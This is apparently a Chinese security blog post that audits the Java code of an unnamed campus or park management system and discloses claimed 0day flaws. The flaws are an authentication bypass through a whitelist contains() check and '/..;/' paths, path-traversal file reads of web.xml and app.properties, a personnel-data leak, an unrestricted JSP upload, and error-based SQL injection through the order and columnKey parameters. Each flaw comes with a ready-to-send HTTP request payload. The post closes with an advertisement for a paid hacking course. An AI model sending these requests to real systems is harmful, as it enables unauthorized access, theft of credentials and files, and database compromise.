某园区0day代码审计

某园区0day代码审计

进击安全 2025-06-04 06:47

1、权限绕过

1.1、方法一

这里看spring-mvc
的配置,找到SpringMVC
拦截器

某园区0day代码审计 -1

跟进拦截器,主要看看拦截规则写的什么,判断地址是否为白名单,如果部位白名单进入到

if (session.getAttribute(“sessional_user“) == null) {
循环中

某园区0day代码审计 -2

白名单地址为

某园区0day代码审计 -3

然后跟踪isWhiteUri
函数,这里的权限绕过是因为contains
函数,这个函数意思是只要内容包含白名单的路径,他就会返回true

某园区0day代码审计 -4

这里就可以用/白名单/..;/..;/绕过鉴权,如下:

某园区0day代码审计 -5

1.2、方法二

如果请求的地址不是白名单,则进入到if循环和try-catch
语句中,第一个if
里面的不用看了,到现在还没有绕过来。主要看第二个鉴权的代码

某园区0day代码审计 -6

这里的逻辑主要是判断,解密后的数组recoToken
用,
分割判断长度是为2,并且数组第二位是否为数字,之后才会将信息添加到session
中。那么加密代码如下
– [ ] 数组第二位为字母,不执行

某园区0day代码审计 -7
– [ ] 为数字执行

某园区0day代码审计 -8

成功绕过

某园区0day代码审计 -9

2、文件读取1

全局搜索download
关键字,这里的函数fileDownload.do
请求时需要带参数fileId
,该参数没有任何的过滤,用getRootPath
获取请求的路径,之后在用loadFile
加载该路径。

某园区0day代码审计 -10

payload:

GET /manage/personnel/fileDownload.do?fileId=/WEB-INF/web.xml&recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: close

3、文件读取2

参数imgDownload.do
,这里也是直接请求路径,之后读取该路径的数据。这里有个主意的是参数getCaptureDirectoryPhysicalPath

跟进getCaptureDirectoryPhysicalPath
,这里重要的是基础的路径后面加了三个../

那这里的跳转的路径直接到/manage 目录下

那么请求的敏感文件路径payload

GET /manage/resourceUpload/imgDownload.do?filePath=/manage/WEB-INF/classes/app.properties&recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: close

4、信息泄露(账号密码)

主要观察控制层的User
、Personnel
等关键字

比如PersonnelController
,查询到的接口queryPersonnelInfo
、queryPersonnel
、getPersonnelById

某园区0day代码审计 -17

某园区0day代码审计 -18

GET /manage/personnel/queryPersonnel.do?page=1&pagesize=1000&recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: close

某园区0day代码审计 -19

5、文件上传

这里上传很多,就拿一个举例全局搜索upload
,定位到

某园区0day代码审计 -20

就检测一个地方,是不是文件上传的类型,之后用copy
函数,复制内容和文件名。这里拿txt做样式,jsp后缀可上传。

某园区0day代码审计 -21

POST /manage/dgmCommand/resourceUploadFile.do?recoToken=ZuZBOrvLG8M HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELjAccept: */*Connection: close------WebKitFormBoundaryFfJZ4PlAZBixjELjContent-Disposition: form-data; name="3"; filename="1.txt"Content-Type: image/jpeg1------WebKitFormBoundaryFfJZ4PlAZBixjELj--

某园区0day代码审计 -22

12、sql注入1(两处)

SQL注入也很多,拿一个做案例。在下面的mapper
的目录中,看到有两个可控参数order
和columnKey
,这里的columnKey
注入条件必须order
不为空才能进行诸如

/manage/WEB-INF/lib/x.server-1.0.jar!/com/x/x/mapper/mysql/black_list/BlackListDsm.xml

某园区0day代码审计 -23

这里进行反推,找关键函数queryBlackList
,文件从BlackListDsm
->BlackListBsm
->BlackListAsm
->BlackListController

BlackListDsm

某园区0day代码审计 -24

BlackListBsmImpl

某园区0day代码审计 -25

BlackListAsmImpl.class

某园区0day代码审计 -26

BlackListController.class
,用set
方法设置参数,并调用函数queryBlackList

某园区0day代码审计 -27

那这里的sql注入payload1

GET /manage/systemBlackList/queryBlackList.do?recoToken=ZuZBOrvLG8M&page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,(SELECT+(ELT(2920=2920,1))),0x71706b7671),8357)) HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedAccept: */*Connection: close

payload2

GET /manage/systemBlackList/queryBlackList.do?recoToken=ZuZBOrvLG8M&page=1&pageSize=10&order=asc&columnKey=(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,(SELECT+(ELT(2920=2920,1))),0x71706b7671),8357)) HTTP/1.1Host: xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedAccept: */*Connection: close

某园区0day代码审计 -28

完结

代码审计第四期,富含PHP、JAVA、NET代码审计,顺带APP、小程序、WEB当中参数逆向以及JAVA工具二开与SRC案例讲解,其中多多0day讲解,实战案例分析,不拿着靶场去做,想学习速速报名了。

某园区0day代码审计 -29

图片